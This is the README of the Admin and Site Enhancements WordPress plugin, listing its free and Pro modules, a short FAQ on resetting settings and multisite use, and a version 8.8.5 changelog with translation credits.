### FEATURES & MODULES
|
||||
|
||||
**76 modules** in total:
|
||||
**58 free modules** (32 has Pro features) | **18 Pro modules**
|
||||
|
||||
[**See all features >>**](https://www.wpase.com/features/)
|
||||
|
||||
### Content Management
|
||||
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Custom Content Types**. Register custom post types (CPT), custom taxonomies, custom field groups and options pages that integrates with Bricks, Breakdance, Oxygen and Elementor, and compatible with various block themes and plugins. Also integrates with WPML and works with TranslatePress to create multilingual sites. An alternative for ACF Pro, Meta Box, Toolset, Pods, JetEngine or ACPT.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Post Type Switcher**. Switch the post type of one or more posts to a different post type.
|
||||
* **Content Duplication**. Duplicate pages, posts and public CPTs. [ASE Pro](https://www.wpase.com/rdme-to-web) enables duplication only for certain user roles and certain public and non-public post types, and adds location option for duplication links.
|
||||
* **Content Order**. Drag-and-drop custom ordering of hierarchical post types. [ASE Pro](https://www.wpase.com/rdme-to-web) enables ordering of non-hierarchical post types, including media / attachments, reordering and changing the parent of child posts is supported, as well as applying the custom order on the frontend.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Terms Order**. Drag-and-drop custom ordering of terms and child terms from various taxonomies and apply the custom order on the frontend.
|
||||
* **Media Files Visibility Control**: Limit media files visibility so only administrators can see all media files. Non-administrator users will only see media files they uploaded themselves. [ASE Pro](https://www.wpase.com/rdme-to-web) adds an option to specify which non-administrator user roles will have such limitation.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Media Categories**. Hierarchical categories for the media library with drag-and-drop categorization.
|
||||
* **Media Replacement**. Replace any type of media file with a new one while ensuring no existing links will break. [ASE Pro](https://www.wpase.com/rdme-to-web) allows replacing media from the grid view of media library.
|
||||
* **SVG Upload**. Allow some or all user roles to upload SVG files with sanitization to keep things secure.
|
||||
* **AVIF Upload**. Enable uploading AVIF files in the Media Library.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Public Preview for Drafts**. Public preview for draft and scheduled posts from some or all public post types.
|
||||
* **External Permalinks**. Enable pages, posts and/or custom post types to have permalinks pointing to external URLs. [ASE Pro](https://www.wpase.com/rdme-to-web) allows enabling only on / except on certain post types, or on all post types.
|
||||
* **Open All External Links in New Tab**. Force all links to external sites to open in new browser tab. [ASE Pro](https://www.wpase.com/rdme-to-web) allows excluding links with certain domains / subdomains from opening in a new tab and from getting the rel="nofollow" attribute.
|
||||
* **Allow Custom Navigation Menu Items to Open in New Tab**. Allow custom navigation menu items to have links that open in a new browser tab.
|
||||
* **Auto-Publish Posts with Missed Schedule**. Trigger publishing of scheduled posts marked with "missed schedule", anytime the site is visited.
|
||||
|
||||
### Admin Interface
|
||||
|
||||
* **Clean Up Admin Bar**. Remove various default elements from the admin bar. [ASE Pro](https://www.wpase.com/rdme-to-web) enables removal of admin bar items from other plugins.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Admin Bar Custom Elements**. Add custom menu and submenu items to the admin bar.
|
||||
* **Hide Admin Notices**. Move notices into a dedicated panel accessible via the admin bar. [ASE Pro](https://www.wpase.com/rdme-to-web) enables completely hiding notices for non-admins.
|
||||
* **Disable Dashboard Widgets**. Completely disable some or all widgets.
|
||||
* **Hide Admin Bar**. Frontend hiding for all or some user roles. [ASE Pro](https://www.wpase.com/rdme-to-web) allows hiding on the backend and make frontend admin bar toggleable.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Admin Logo**. Show custom logo in the admin bar or the (top of) admin menu.
|
||||
* **Wider Admin Menu**. Up to 300px wide.
|
||||
* **Admin Menu Editor / Organizer**. Customize order for the admin menu. Change menu item title or hide some items. [ASE Pro](https://www.wpase.com/rdme-to-web) allows always hiding menu items for some or all user roles, adding custom menu and submenu items, reordering submenu items and always allowing eligible users to view and access a menu item.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Admin Columns Manager**. Organize columns in the admin list tables. Supports columns for ASE, ACF and Meta Box custom fields.
|
||||
* **Show Custom Taxonomy Filters**. Show additional filter(s) on list tables for hierarchical, custom taxonomies. [ASE Pro](https://www.wpase.com/rdme-to-web) allows showing additional filter(s) for non-hierarchical taxonomies.
|
||||
* **Enhance List Tables**. Improve the usefulness of listing pages of various post types by adding / removing columns and elements, e.g. featured image, excerpt, last modified, ID, media file size columns.
|
||||
* **Various Admin UI Enhancements**:
|
||||
* **Media Library Infinite Scrolling**: Re-enable this in the grid view.
|
||||
* **Display Active Plugins First**: On the plugins list.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Preserve Taxonomy Hierarchy**: Preserve the visual hierarchy of taxonomy terms checklist in the classic editor.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Enable Dashboard Columns Settings**: Set columns layout between 1 to 4 columns.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Add User Role Slug(s) to Admin Body Classes**.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Add Usermame to Admin Body Classes**.
|
||||
* **Custom Admin Footer Text**: Customize the text you see on the footer of wp-admin. [ASE Pro](https://www.wpase.com/rdme-to-web) enables media insertion.
|
||||
|
||||
### Log In/Out & Register
|
||||
|
||||
* **Change Login URL**. Make the login URL more memorable and secure. [ASE Pro](https://www.wpase.com/rdme-to-web) adds compatibility with login process in WooCommerce pages, i.e. account and checkout, and custom 404 redirect on default login URLs.
|
||||
* **Login ID Type**. Restrict login ID only to username or email address.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Login Page Customizer**. Easily customize the design of the login page.
|
||||
* **Site Identity on Login Page**. Use the site icon and URL to replace the default WordPress logo on the login page.
|
||||
* **Log In/Out Menu**. Enable log in, log out and dynamic log in/out menu item for addition to any navigation menu. [ASE Pro](https://www.wpase.com/rdme-to-web) allows customizing the "Log In" and "Log Out" text.
|
||||
* **Registration Column**. Show users registration date. [ASE Pro](https://www.wpase.com/rdme-to-web) makes the column sortable.
|
||||
* **Last Login Column**. Log last login datetime and show it in the users list table. [ASE Pro](https://www.wpase.com/rdme-to-web) makes the column sortable.
|
||||
* **Redirect After Login / Logout**. Set custom redirect URL for all or some user roles after login / logout. [ASE Pro](https://www.wpase.com/rdme-to-web) allows setting separate redirect URL for each role.
|
||||
* **Disable User Account**. Disable login for individual users while preserving their content and display name.
|
||||
|
||||
### Custom Code
|
||||
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Code Snippets Manager**. Manage CSS / SCSS, JS, HTML and PHP code snippets to modify your site's content, design, behaviour and functionalities.
|
||||
* **Custom Admin CSS**.
|
||||
* **Custom Frontend CSS**.
|
||||
* **Insert <head>, <body> and <footer> Code**. Easily insert <meta>, <link>, <script> and <style> tags for tracking, analytics, etc.
|
||||
* **Custom Body Class**.
|
||||
* **Manage ads.txt and app-ads.txt**.
|
||||
* **Manage robots.txt**.
|
||||
|
||||
### Disable Components
|
||||
|
||||
* **Disable Gutenberg** for some or all applicable post types. Optionally disable frontend block assets. [ASE Pro](https://www.wpase.com/rdme-to-web) allows disabling only on / except on certain post types, or on all post types.
|
||||
* **Disable Comments**. Disable comments for some or all public post types. [ASE Pro](https://www.wpase.com/rdme-to-web) allows disabling only on / except on certain post types, or on all post types.
|
||||
* **Disable REST API**. Disable REST API access for non-authenticated users and remove URL traces from <head>, HTTP headers and WP RSD endpoint. [ASE Pro](https://www.wpase.com/rdme-to-web) allows enabling access only for some, authenticated user roles, and adds a way to exclude certain API routes.
|
||||
* **Disable Feeds**. Disable all RSS, Atom and RDF feeds.
|
||||
* **Disable Embeds**. Prevent your site content from being embedded on other sites. Prevent embedding of non-whitelisted sites in your site. Disable all, related JavaScript. Removes support for the embed block.
|
||||
* **Disable All Updates**. Completely disable core, theme and plugin updates and auto-updates. Will also disable update checks, notices and emails.
|
||||
* **Disable Author Archives**. Return 404 (Not Found) error when trying to load author archives. Remove or disable links to author archives. Remove authors archives from the sitemap.
|
||||
* **Disable Smaller Components**. Prevent smaller components from running or loading. Those are generator <meta> tag, version number, Windows Live Writer (WLW) manifest <link> tag, Really Simple Discovery (RSD) <link> tag, WordPress shortlink <link> tag in <head>, and also dashicons CSS and JS files, emoji support, jQuery Migrate, block-based widgets settings screen, native lazy load of images, application passwords, site admin email verification screen, user email notification after password change and plugin / theme editor.
|
||||
|
||||
### Security
|
||||
|
||||
* **Limit Login Attempts**. Prevent brute force attacks by limiting the number of failed login attempts allowed per IP address. [ASE Pro](https://www.wpase.com/rdme-to-web) adds IP whitelisting, which is also useful to unblock users.
|
||||
**[[ASE Pro](https://www.wpase.com/rdme-to-web)] CAPTCHA Protection**. Support for [ALTCHA](https://altcha.org/) self-hosted version (GDPR-compliant, open source, free), Google reCaptcha v2 and v3, and Cloudflare Turnstile for WordPress and WooCommerce default forms (login, password reset, registration and comment forms).
|
||||
**[[ASE Pro](https://www.wpase.com/rdme-to-web)] Two-Factor Authentication (2FA)**. Apply 2FA for some or all user roles with grace period settings and the option to apply different 2FA settings for each user role. Supported methods are authenticator app (TOTP), recovery codes and email.
|
||||
* **Obfuscate Author Slugs**. Obfuscate publicly exposed author page URLs that shows the user slugs / usernames.
|
||||
* **Email Address Obfuscator**. Obfuscate email address to prevent spam bots from harvesting them,. [ASE Pro](https://www.wpase.com/rdme-to-web) enables output of obfuscated mailto: link and also auto-obfuscation of email addresses in post content.
|
||||
* **Disable XML-RPC**. Protect your site from brute force, DOS and DDOS attacks via XML-RPC. Also disables trackbacks and pingbacks.
|
||||
|
||||
### Optimizations
|
||||
|
||||
* **Image Upload Control**. Resize newly uploaded, large images to a smaller dimension and delete originally uploaded files. BMPs and non-transparent PNGs will be converted to JPGs and resized. [ASE Pro](https://www.wpase.com/rdme-to-web) enables setting custom JPG conversion quality and adds an option for conversion to WebP with custom conversion quality. You can also disable generation of some or all intermediate sizes.
|
||||
* **Revisions Control**. Limit the number of revisions to keep for some or all post types. [ASE Pro](https://www.wpase.com/rdme-to-web) enables revisions control "only for", "except for" or "for all" post types.
|
||||
* **Heartbeat Control**. Modify the interval of the WordPress heartbeat API or disable it on admin pages, post creation/edit screens and/or the frontend.
|
||||
|
||||
### Utilities
|
||||
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Site Backup and Migration**. Backup files and database, restore from backups, and migrate or sync to another server.
|
||||
* **Email Delivery**. Set custom sender name and email. Optionally use external SMTP service to ensure notification and transactional emails from your site are being delivered to inboxes. [ASE Pro](https://www.wpase.com/rdme-to-web) adds the option to specify a custom reply-to name and email, Bcc address(es), disable authentication and the option to log email delivery.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Form Builder**. Enable the drag-and-drop creation of various types of forms (contact, feedback, booking, application, proposal, admission, support, survey, etc.) on the frontend to collect information from site visitors or users or members. 33 field types are available, including Net Promoter Score (NPS), Likert, Matrix of Uniform and Variable Dropdowns and CAPTCHA fields. Support custom form styles, multi-columns layout, email notification, auto responder, entries management and webhooks for sending submission data to Zapier, n8n, etc.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] File Manager**. A comprehensive file manager with folder tree navigation, file and folder operations, and code editing capabilities.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Local User Avatar**. Enable usage of any image from the media library as user avatars.
|
||||
* **Multiple User Roles**. Assign multiple roles during user account creation and editing.
|
||||
* **Image Sizes Panel**. Display a panel showing and linking to all available sizes when viewing an image in the media library. [ASE Pro](https://www.wpase.com/rdme-to-web) adds a copy button for the image URL on click.
|
||||
* **View Admin as Role**. View admin pages and the site (logged-in) as one of the non-administrator user roles.
|
||||
* **Password Protection**. Password-protect the entire site to hide the content from public view and search engine bots / crawlers. [ASE Pro](https://www.wpase.com/rdme-to-web) adds IP whitelisting and bypassing via URL parameter, and also applies design elements from the Login Page Customizer module.
|
||||
* **Maintenance Mode**. Show a simple maintenance message. [ASE Pro](https://www.wpase.com/rdme-to-web) adds option to set custom page and browser tab title, use WYSIWYG editor, use pattern, image, solid color background, apply custom CSS, and also add the option to use an existing page created with the block / classic editor or a page builder as the maintenance page. It also adds an option to exclude certain URLs (wildcard support) and allow non-admins to access the frontend.
|
||||
* **[[ASE Pro](https://www.wpase.com/rdme-to-web)] Redirect Manager**. Easily manage various types of redirects / redirections (3xx, 4xx, 5xx codes) with support for wildcards and regular expressions (regex).
|
||||
* **Redirect 404**. Perform 301 (permanent) redirect to the homepage for all 404 (not found) pages. [ASE Pro](https://www.wpase.com/rdme-to-web) adds option to set custom redirect URL.
|
||||
* **Display System Summary**. Show web server software, PHP version, database software and server IP address in the "At a Glance" dashboard widget. [ASE Pro](https://www.wpase.com/rdme-to-web) also shows the size of the site, database and root, wp-content, plugins, themes and upload folders.
|
||||
* **Search Engines Visibility Status**. Show admin bar status and admin notice when search engines are set to be discouraged from indexing the site. [ASE Pro](https://www.wpase.com/rdme-to-web) adds a way to prevent dev / staging sites from having search engine visibility enabled.
|
||||
|
||||
[**See all features >>**](https://www.wpase.com/features/)
|
||||
|
||||
### ASE Pro
|
||||
|
||||
**Lifetime Deal (LTD)** is available at [www.wpase.com](https://www.wpase.com/rdme-to-web).
|
||||
|
||||
### LANGUAGES
|
||||
|
||||
ASE has been translated into [30+ languages](https://translate.wpase.com). You can [help translate](https://translate.wpase.com) ASE into your language(s).
|
||||
|
||||
## Screenshots
|
||||
|
||||
1. Content Management
|
||||

|
||||
2. Admin Interface
|
||||

|
||||
3. Log In | Log Out
|
||||

|
||||
4. Custom Code
|
||||

|
||||
5. Disable Components
|
||||

|
||||
6. Security
|
||||

|
||||
7. Optimizations
|
||||

|
||||
8. Utilities
|
||||

|
||||
9. Admin Menu Organizer module
|
||||

|
||||
10. Email Delivery module
|
||||

|
||||
|
||||
## Frequently Asked Questions
|
||||
|
||||
### How Do I Reset ASE Settings / Configuration?
|
||||
|
||||
If for whatever reason you need to remove ASE and reset the settings / configuration, please follow these steps:
|
||||
|
||||
1. Access your website via FTP and delete ASE plugin folder at /wp-content/plugins/admin-site-enhancements/
|
||||
2. Login to your site via the default URL, /wp-admin/ or /wp-login.php
|
||||
3. Install [SQL Buddy](https://wordpress.org/plugins/sql-buddy/) plugin, open it, and click on the wp_options table
|
||||
4. Use the small filter icon at the top of wp_options table rows, and filter for “option_name” => “contains” => “admin_site_enhancements”. You should get 3 options . Click on each one and hit the “Delete” icon in the bottom-right corner.
|
||||
5. Re-install and re-configure ASE as needed.
|
||||
|
||||
You can skip step 1 and 2 if you still have access to your wp-admin dashboard.
|
||||
|
||||
### Does ASE Work With Multisite?
|
||||
|
||||
ASE does not officially support multisite. Please use at your own risk. That said, several users have reported that it works fine on their multisite when activated on each sub-site and not through network activation.
|
||||
|
||||
## Changelog
|
||||
|
||||
**Admin and Site Enhancements (ASE) v1.0.0** was released on October 17, 2022. Since then, there have been **87 _major_ releases** (e.g. 1.1.0 ) and **199 _minor_ releases** (e.g. 4.9.1), for a **total of 286 releases**.
|
||||
|
||||
Each **_major release_** usually corresponds with the addition of one new module/feature. Each module/feature usually is the equivalent of one (or more) single-purpose plugin. Each **_minor release_** usually contain one or more bugfix or improvements to existing modules/features.
|
||||
|
||||
[**Upgrade to ASE Pro**](https://www.wpase.com/chnlg-to-web). Lifetime Deal (LTD) available.
|
||||
|
||||
### 8.8.5 (2026.06.22) - ASE Free and Pro
|
||||
|
||||
* **[IMPROVED/FIXED in Free and Pro] Admin Interface >> Wider Admin Menu**: fixed an issue where the wider admin menu is overlapping Fluent Support admin pages. Props to [Diiamo](https://wordpress.org/support/users/luislu/) for [reporting](https://wordpress.org/support/topic/wider-admin-menu-issue/) this with a screenshot.
|
||||
|
||||
* **[IMPROVED/FIXED in Free and Pro] Utilities >> Email Delivery**: improved mechanism for encrypting SMTP password to no longer rely on WP salts, which can change in certain scenarios, causing silent email delivery failure. Props to someone from @rocket.ch for reporting the issue.
|
||||
|
||||
* **[FIXED in Free and Pro] Admin Interface >> Admin Menu Organizer**: fixed several PHP warnings in PHP 8.4.
|
||||
|
||||
* **[IMPROVED and FIXED in Pro] Utilities >> Site Backup and Migration**:
|
||||
* Improved the reliability of database export during backups. Props to Uli L. for prompting this improvement.
|
||||
* Improved the reliability of how the "Download" button works for local and remote backup archives. Props to Dominik K. for reporting a related issue that prompted this improvement.
|
||||
* Storage folder (from the 'Storage' tab/feature) by default is no longer included when creating a backup archive. Props to Fellipe R.d.V. for prompting this change.
|
||||
* Added a new option in the module settings to include the storage folder in backup, restore and migration operations. May be useful if you want to have extra redundancy for the WP site you are using as a storage location for backing up your other WP sites. For example, in that storage WP site's backup policy, you can opt to send a backup to Amazon S3, Dropbox, etc., thus creating redundancies for the backup archives of your other WP sites in one go.
|
||||
* Added backup archive note viewer inside the emergency restore script.
|
||||
* Fixed JS error related to the archive note when initiating manual backup.
|
||||
|
||||
* **[FIXED in Pro] Content Management >> Custom Content Types**: fixed PHP warning in PHP 8.4 related to the new WPML integration. Props to Niels S. for reporting the issue in detail.
|
||||
|
||||
* **[FIXED in Pro] Log In/Out & Register >> Redirect After Login**: fixed a bug where 2FA is being bypassed when this module is enabled. Props to Danny V. for reporting the issue in detail, with screenshots and a screen recording.
|
||||
|
||||
* **[TRANSLATION in Free and Pro]** ASE is now being translated into [38 languages](https://translate.wpase.com/):
|
||||
* **Added new/improved translation** for:
|
||||
* ASE Free: Updated Slovak, Portuguese (Brazil), Polish, Norwegian, Dutch (Netherlands), Dutch (Belgium).
|
||||
* ASE Pro: Updated Greek, Polish, Slovak.
|
||||
* **More strings have been internationalized**. @Translators, please visit the respective project pages for the Free and Pro versions to translate the new strings, if you havent' done so already.
|
||||
* **Interested to help translate or improve the translation?** Please go to [https://translate.wpase.com](https://translate.wpase.com) for more info.
|
||||
* **[Chinese (China)](https://translate.wordpress.org/locale/zh-cn/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@bricksvip](https://profiles.wordpress.org/bricksvip/) et al. Current status: [39 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/zh-cn/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Portuguese (Brazil)](https://translate.wordpress.org/locale/pt-br/default/wp-plugins/admin-site-enhancements/)**: ASE Free and ASE Pro (completed). Props to [Valdemir M.](https://profiles.wordpress.org/valdemirmaran/), [Dennis F.](https://profiles.wordpress.org/dnn/), [denisgomesfranco](https://profiles.wordpress.org/denisgomesfranco/), [Denison C.](https://profiles.wordpress.org/denisoncarlos/) and [@ofmarconi](https://profiles.wordpress.org/ofmarconi/). Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/pt-br/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Hungarian](https://translate.wordpress.org/locale/hu/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [R. József G.](https://profiles.wordpress.org/radicsjg/) et al. Current status: [14 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/hu/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Vietnamese](https://translate.wordpress.org/locale/vi/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Hoang N.Q.](https://profiles.wordpress.org/nguyenquanghoang/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/vi/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Italian](https://translate.wordpress.org/locale/it/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Fabio P.](https://profiles.wordpress.org/fabioperri/) et. al. Current status: [36 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/it/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Dutch](https://translate.wordpress.org/locale/nl/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Toine R](https://profiles.wordpress.org/toineenzo/) and [Peter S.](https://profiles.wordpress.org/psmits1567/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/nl/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Korean](https://translate.wordpress.org/locale/ko/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@chazmlab](https://profiles.wordpress.org/chazmlab/) et al. Current status: [8 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ko/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[German (Formal)](https://translate.wordpress.org/locale/de/formal/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@markussss](https://profiles.wordpress.org/markussss/), Bastian S. et al. Current status: [63 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/de/formal/?filters%5Bstatus%5D=untranslated).
|
||||
* **[French](https://translate.wordpress.org/locale/fr/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Stéphan G.](https://profiles.wordpress.org/gongonzo/), [@jeanfrancoisdelvin](https://profiles.wordpress.org/jeanfrancoisdelvin/), [@srossignol](https://profiles.wordpress.org/srossignol/), [@lucashw](https://profiles.wordpress.org/lucashw/), [@skippy43](https://profiles.wordpress.org/skippy43/), [@anlip](https://profiles.wordpress.org/anlip/), [@agencefacton](https://profiles.wordpress.org/agencefacton/), [@injsbx](https://profiles.wordpress.org/injsbx/) et al. Current status: [25 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/fr/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Polish](https://translate.wordpress.org/locale/pl/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Jaroslaw K.](https://profiles.wordpress.org/kosmity/), [Dziubek](https://profiles.wordpress.org/dziubek/) and [Dariusz Z.](https://profiles.wordpress.org/dariobros/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/pl/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Norwegian](https://translate.wordpress.org/locale/nb/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Alf O.F.](https://profiles.wordpress.org/skoen/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/nb/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Czech](https://translate.wordpress.org/locale/cs/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to Jan S. et al. Current status: [59 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/cs/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Spanish (Spain)](https://translate.wordpress.org/locale/es/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@marcorubiol](https://profiles.wordpress.org/marcorubiol/) et al. Current status: [34 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/es/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Slovak](https://translate.wordpress.org/locale/sk/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [Dominik K.](https://profiles.wordpress.org/dominokozmali/) et al. Current status: [8 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/sk/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Indonesian](https://translate.wordpress.org/locale/id/default/wp-plugins/admin-site-enhancements/)**: ASE Free and Pro (completed). Props to [@pakacil](https://profiles.wordpress.org/pakacil/), [Wawan S.](https://profiles.wordpress.org/ahmad-rafiansyah/) et al. Current status: [10 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/id/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Portuguese (Portugal)](https://translate.wordpress.org/locale/pt/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Ricardo C.](https://profiles.wordpress.org/madebyuh/) et al. Current status: [37 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/pt/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Ukrainian](https://translate.wordpress.org/locale/uk/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Irina](https://profiles.wordpress.org/irinashl/) et al. Current status: [23 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/uk/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Urdu](https://translate.wordpress.org/locale/ur/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Ayyaz A.](https://profiles.wordpress.org/ayyazahmad/) et al. Current status: [135 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ur/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Swedish](https://translate.wordpress.org/locale/sv/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Robert M.](https://profiles.wordpress.org/robertmichalski/) and [Tor-Bjorn F.](https://profiles.wordpress.org/tobifjellner/). Current status: [36 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/sv/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Danish](https://translate.wordpress.org/locale/da/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Morten E.L.](https://profiles.wordpress.org/ellegaarddk/), [Helgi P.](https://profiles.wordpress.org/helgipetersen/) and [Kurt M.A.](https://profiles.wordpress.org/moskjaer/) et al. Current status: [23 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/da/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Arabic](https://translate.wordpress.org/locale/ar/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (completed). Props to [Mohammed J.](https://profiles.wordpress.org/ih4xz/), Yaser M., et al. Current status: [10 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ar/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Romanian](https://translate.wordpress.org/locale/ro/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed) | ASE Pro (partial). Props to [Dan C.](https://profiles.wordpress.org/dancaragea/), [@ravishi](https://profiles.wordpress.org/ravishi/) and [@catalinx777](https://profiles.wordpress.org/catalinx777/). Current status: [19 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ro/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Turkish](https://translate.wordpress.org/locale/tr/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@saeead](https://wordpress.org/support/users/saeead/), [@serdaroztrk](https://profiles.wordpress.org/serdaroztrk/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/tr/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Chinese (Taiwan)](https://translate.wordpress.org/locale/zh-tw/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@gordon168](https://profiles.wordpress.org/gordon168/) and [Hedula](https://profiles.wordpress.org/hedula/). Current status: [1 strings untranslated](https://translate.wordpress.org/locale/zh-tw/default/wp-plugins/admin-site-enhancements/)
|
||||
* **[Spanish (Chile)](https://translate.wordpress.org/locale/es-cl/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@srgio](https://profiles.wordpress.org/srgio/). Current status: [35 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/es-cl/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Serbian](https://translate.wordpress.org/locale/sr/default/wp-plugins/admin-site-enhancements/)**: ASE Free (partial). Props to [Igor E.](https://wordpress.org/support/users/igorel/) and [@plug-n-play](https://profiles.wordpress.org/plug-n-play/). Current status: [17 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/sr/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Albanian](https://translate.wordpress.org/locale/sq/default/wp-plugins/admin-site-enhancements/)**: Props to [@algertpateqi](https://profiles.wordpress.org/algertpateqi/). Current status: [34 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/sq/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Persian](https://translate.wordpress.org/locale/fa/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@saeead](https://profiles.wordpress.org/saeead/) et al. Current status: [0 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/fa/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Russian](https://translate.wordpress.org/locale/ru/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@sergey369](https://profiles.wordpress.org/sergey369/), [@pfgr](https://profiles.wordpress.org/pfgr/) et al. Current status: [26 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/ru/default/?filters%5Bstatus%5D=untranslated).
|
||||
* **[Bosnian](https://translate.wordpress.org/locale/bs/default/wp-plugins/admin-site-enhancements/)**: ASE Free (completed). Props to [@plug-n-play](https://profiles.wordpress.org/plug-n-play/) et al. Current status: [76 strings untranslated](https://translate.wordpress.org/projects/wp-plugins/admin-site-enhancements/stable/bs/default/?filters%5Bstatus%5D=untranslated).
|
||||
